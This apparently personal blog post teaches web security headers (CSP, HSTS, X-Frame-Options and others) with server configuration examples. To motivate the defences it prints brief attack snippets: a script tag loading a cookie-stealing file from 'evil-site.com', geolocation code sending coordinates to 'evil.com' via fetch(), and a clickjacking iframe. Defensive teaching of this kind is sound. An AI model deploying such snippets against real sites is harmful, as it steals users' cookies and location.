0x55aa
← Back to Blog

Security Headers: The Free Armor You're Not Using 🛡️

•11 min read
cybersecurityweb-securitysecurityhttp-headers

Security Headers: The Free Armor You're Not Using 🛡️

Your website is running right now. Without security headers.

Know what that means? You're basically letting hackers run JavaScript on your pages, load your site in sketchy iframes, and sniff user data over HTTP. For free! 🎁

The crazy part: Fixing this takes literally 5 lines of config. FIVE. And yet, 90% of websites don't do it.

Let me show you how to stop being low-hanging fruit!

What Even Are Security Headers? 🤔

Security headers = Special instructions your server sends to browsers saying "Hey, protect my users from sketchy stuff."

Think of it like a bodyguard's instructions:

  • No headers: "Let anyone in! What could go wrong?"
  • With headers: "ID check at the door. No weapons. No sketchy links. No tracking."

The beautiful part: Browsers DO ALL THE WORK! You just tell them what to block.

Real Talk: Most attacks can be prevented by browsers IF you configure headers correctly. Why make it hard?

The Headers You're Missing (And What They Do) 🔒

1. Content-Security-Policy (CSP) - The Big Gun 🎯

What it does: Controls what resources can load on your page.

Without CSP:

<!-- Hacker injects this via XSS -->
<script src="https://evil-site.com/steal-cookies.js"></script>

<!-- Browser: "Sure, loading sketchy script!" -->
<!-- Result: Cookies stolen, user pwned -->

With CSP:

// Your server response headers
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

// Browser sees injected script from evil-site.com
// Browser: "Not on the allowed list. BLOCKED!" 🚫
// Hacker: "Damn."

Translation: Even if a hacker injects JavaScript (XSS), CSP tells browsers "Don't run that!"

The setup:

// Node.js/Express
app.use((req, res, next) => {
    res.setHeader(
        'Content-Security-Policy',
        "default-src 'self'; " +
        "script-src 'self' https://cdn.example.com; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "font-src 'self' https://fonts.gstatic.com; " +
        "connect-src 'self'; " +
        "frame-ancestors 'none';"
    );
    next();
});

What each part means:

  • default-src 'self' - Only load resources from your domain
  • script-src 'self' https://cdn.example.com - Only run scripts from your domain or trusted CDN
  • style-src 'self' 'unsafe-inline' - Allow your CSS + inline styles (careful with this!)
  • img-src 'self' data: https: - Images from your site or HTTPS sources
  • font-src 'self' https://fonts.gstatic.com - Fonts from your site or Google Fonts
  • connect-src 'self' - Only AJAX/fetch requests to your domain
  • frame-ancestors 'none' - Don't allow your site in iframes

Pro Tip: Start with Content-Security-Policy-Report-Only to test without breaking your site!

// Test mode: logs violations without blocking
res.setHeader(
    'Content-Security-Policy-Report-Only',
    "default-src 'self'; report-uri /csp-violation-report"
);

2. X-Content-Type-Options - Stop the Guessing Game 🎲

What it does: Stops browsers from "guessing" file types.

The attack (MIME sniffing):

// You serve a JSON file
GET /api/users.json
Content-Type: application/json

// Browser thinks: "Hmm, this JSON looks like HTML!"
// Browser executes it as HTML
// Embedded script runs → XSS attack! 💥

The fix:

// Tell browser: "Trust the Content-Type, don't guess!"
X-Content-Type-Options: nosniff

// Node.js
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    next();
});

Translation: Browser sees Content-Type: application/json, treats it as JSON. Period. No creative interpretation!

One line. Massive security boost. Why would you NOT add this? 🤷‍♂️

3. X-Frame-Options - No Clickjacking Here! 🖼️

What it does: Prevents your site from being loaded in iframes (clickjacking protection).

The attack (Clickjacking):

<!-- Evil site loads YOUR site invisibly -->
<iframe src="https://yourbank.com/transfer" style="opacity:0"></iframe>

<!-- Invisible button positioned over fake button -->
<button>Click here for free iPhone!</button>

<!-- User clicks, actually clicks "Transfer $10,000" on YOUR hidden iframe -->
<!-- Money goes bye-bye! 💸 -->

The fix:

// Don't allow ANY iframes
X-Frame-Options: DENY

// Or allow only your own domain
X-Frame-Options: SAMEORIGIN

// Node.js
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');  // or 'SAMEORIGIN'
    next();
});

Translation: Your site can't be loaded in iframes. Clickjacking attack fails immediately! 🛡️

When to use DENY vs SAMEORIGIN:

  • DENY: Never allow iframes (most secure)
  • SAMEORIGIN: Allow iframes only from your own domain (if you need iframes)

4. Strict-Transport-Security (HSTS) - HTTPS or GTFO 🔐

What it does: Forces browsers to ALWAYS use HTTPS, even if user types http://

The problem without HSTS:

1. User types: http://yourbank.com
2. Browser connects via HTTP (unencrypted)
3. Hacker on WiFi intercepts, injects malware
4. THEN redirects to HTTPS (too late!)

With HSTS:

1. User types: http://yourbank.com
2. Browser: "I remember this site requires HTTPS!"
3. Browser automatically uses https://yourbank.com
4. Hacker sees encrypted traffic → Can't intercept! 🚫

The setup:

// Tell browsers: "Only HTTPS for the next year!"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

// Node.js
app.use((req, res, next) => {
    res.setHeader(
        'Strict-Transport-Security',
        'max-age=31536000; includeSubDomains; preload'
    );
    next();
});

What each part means:

  • max-age=31536000 - Remember for 1 year (in seconds)
  • includeSubDomains - Apply to all subdomains too
  • preload - Submit to browsers' HSTS preload list (hardcore mode!)

IMPORTANT: Only add HSTS if you have HTTPS working 100%! Otherwise you'll lock users out!

Pro Tip: Submit to the HSTS Preload List to be included in browsers by default!

5. Referrer-Policy - Stop Leaking URLs 🔗

What it does: Controls how much URL info is sent when users click links.

The problem:

User on: https://yoursite.com/admin/secret-project-x
Clicks link to: https://external-site.com

Without Referrer-Policy:
External site sees full URL including "/admin/secret-project-x" 😱

The fix:

// Only send origin (domain), not full path
Referrer-Policy: strict-origin-when-cross-origin

// Node.js
app.use((req, res, next) => {
    res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
    next();
});

Options (from least to most private):

  • no-referrer-when-downgrade - Send referrer to HTTPS, not HTTP (default)
  • strict-origin-when-cross-origin - Send origin only to other sites (recommended!)
  • same-origin - Only send referrer to your own site
  • no-referrer - Never send referrer (most private, might break analytics)

Translation: External sites get https://yoursite.com, not https://yoursite.com/admin/secret-stuff

6. Permissions-Policy - Lock Down Browser Features 🔒

What it does: Controls which browser features your site can use (camera, microphone, geolocation, etc.)

The problem:

// Hacker injects JavaScript
<script>
    navigator.geolocation.getCurrentPosition(pos => {
        fetch('https://evil.com/track?lat=' + pos.coords.latitude);
    });
</script>

// Without Permissions-Policy: Browser asks user for location
// Unsuspecting user clicks "Allow"
// Location sent to hacker! 📍

The fix:

// Disable features you don't use
Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=()

// Node.js
app.use((req, res, next) => {
    res.setHeader(
        'Permissions-Policy',
        'geolocation=(), camera=(), microphone=(), payment=()'
    );
    next();
});

Translation: Even if hacker tries to access camera/location, browser says "Nope, site owner disabled that!" 🚫

Allow for your domain only:

Permissions-Policy: geolocation=(self), camera=(self)

Real Talk: If your blog doesn't need camera access, why leave it enabled? Lock it down!

The Copy-Paste Security Bundle 📦

Want ALL the headers? Here's the full package:

Node.js/Express

// Install helmet (it does all this for you!)
npm install helmet

// In your app:
const helmet = require('helmet');
app.use(helmet());

// Done! That's it! 🎉

Or manually:

app.use((req, res, next) => {
    // CSP
    res.setHeader(
        'Content-Security-Policy',
        "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';"
    );

    // MIME sniffing protection
    res.setHeader('X-Content-Type-Options', 'nosniff');

    // Clickjacking protection
    res.setHeader('X-Frame-Options', 'DENY');

    // HTTPS enforcement (only if you have HTTPS!)
    res.setHeader(
        'Strict-Transport-Security',
        'max-age=31536000; includeSubDomains'
    );

    // Referrer policy
    res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

    // Permissions policy
    res.setHeader(
        'Permissions-Policy',
        'geolocation=(), camera=(), microphone=()'
    );

    next();
});

Laravel/PHP

// In app/Http/Middleware/SecurityHeaders.php
public function handle($request, Closure $next)
{
    $response = $next($request);

    $response->headers->set('Content-Security-Policy', "default-src 'self'");
    $response->headers->set('X-Content-Type-Options', 'nosniff');
    $response->headers->set('X-Frame-Options', 'DENY');
    $response->headers->set('Strict-Transport-Security', 'max-age=31536000');
    $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');

    return $response;
}

Nginx

# In your nginx config
add_header Content-Security-Policy "default-src 'self'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=()" always;

Apache

# In .htaccess or apache config
Header set Content-Security-Policy "default-src 'self'"
Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "DENY"
Header set Strict-Transport-Security "max-age=31536000"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Permissions-Policy "geolocation=(), camera=(), microphone=()"

Testing Your Headers 🧪

Quick test - Check your headers:

# Check headers for ANY website
curl -I https://yoursite.com

# Or use this awesome online tool:
# https://securityheaders.com

What you're looking for:

✅ Content-Security-Policy: present
✅ X-Content-Type-Options: nosniff
✅ X-Frame-Options: DENY or SAMEORIGIN
✅ Strict-Transport-Security: max-age=31536000
✅ Referrer-Policy: strict-origin-when-cross-origin

Try it on famous sites:

# Google (they do it right)
curl -I https://google.com

# Your bank (hopefully they do it right!)
curl -I https://yourbank.com

# Your site (let's find out! 😬)
curl -I https://yoursite.com

Bonus tool: Mozilla Observatory - Grades your site security!

Common Mistakes (Don't Do These!) 🙈

Mistake #1: CSP with 'unsafe-inline' Everywhere

// This defeats the whole purpose!
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'

// Translation: "Block sketchy scripts, except inline ones!"
// Hacker: "Cool, I'll just inject inline scripts then!" 💉

The fix: Remove 'unsafe-inline' and move inline scripts to separate files.

Mistake #2: Adding HSTS Without HTTPS

// Your site only has HTTP (no HTTPS)
// You add:
Strict-Transport-Security: max-age=31536000

// Result: Users get locked out! Browser keeps trying HTTPS, fails forever! 😱

The fix: Only add HSTS AFTER you have working HTTPS! Get a free cert from Let's Encrypt!

Mistake #3: Too Restrictive CSP (Breaking Your Site)

// Nuclear option
Content-Security-Policy: default-src 'none'

// Result: Nothing loads! No CSS, no JS, no images! 💥
// Your site: 💀

The fix: Start permissive, tighten gradually:

// Week 1: Test with Report-Only
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports

// Week 2: Review reports, adjust policy
// Week 3: Enable enforcement
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

The Security Checklist 📋

Before you deploy:

  • CSP configured (start with Report-Only!)
  • X-Content-Type-Options set to nosniff
  • X-Frame-Options set to DENY or SAMEORIGIN
  • HSTS enabled (ONLY if you have HTTPS!)
  • Referrer-Policy configured
  • Permissions-Policy locks down unused features
  • Tested with securityheaders.com
  • Checked for broken functionality (CSP can break stuff!)
  • Set up CSP violation reporting
  • Documented your policy (for future you!)

Real Talk 💬

Q: "Will this break my site?"

A: CSP might if configured wrong. That's why you start with Report-Only! Other headers? Basically zero risk.

Q: "What about old browsers?"

A: Old browsers ignore headers they don't understand. New browsers get protected. Win-win!

Q: "Is this enough security?"

A: NO! Headers are ONE layer. You still need: input validation, authentication, encryption, rate limiting, etc. Think of headers as your first line of defense!

Q: "Can I just use a library like Helmet?"

A: YES! Helmet (Node.js), SecureHeaders (Ruby), etc. are battle-tested and maintained. Don't reinvent the wheel!

Quick Wins (Do These Right Now!) 🏃

5-Second Win (Node.js):

npm install helmet

app.use(require('helmet')());

1-Minute Win (Any Server): Add these headers to your config:

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin

5-Minute Win:

  1. Go to securityheaders.com
  2. Enter your site
  3. See your grade (probably F)
  4. Fix missing headers
  5. Retest (aim for A!)

The Bottom Line

Security headers are:

  • FREE - No cost, no performance hit
  • EASY - 5 lines of config
  • EFFECTIVE - Stop most client-side attacks
  • REQUIRED - Seriously, why aren't you using them?

The essentials:

  1. Use a library like Helmet (don't DIY unless you know what you're doing)
  2. Start with CSP in Report-Only mode (test before enforcing)
  3. Only add HSTS if you have HTTPS (otherwise you'll lock users out)
  4. Test with securityheaders.com (aim for A grade)
  5. Lock down features you don't use (camera, location, etc.)

Think of security headers like wearing a seatbelt - takes 2 seconds, prevents 90% of injuries, and there's literally no reason NOT to do it! 🚗💨

Want to see if YOUR site is vulnerable? Check it at securityheaders.com and share your grade on LinkedIn - I bet it's an F! 😄

More security content coming soon! Follow my GitHub for secure code examples!

P.S. - If you just checked securityheaders.com and got an F, don't feel bad - so do 90% of websites. Now go fix it! 🛡️✨

← Back to all posts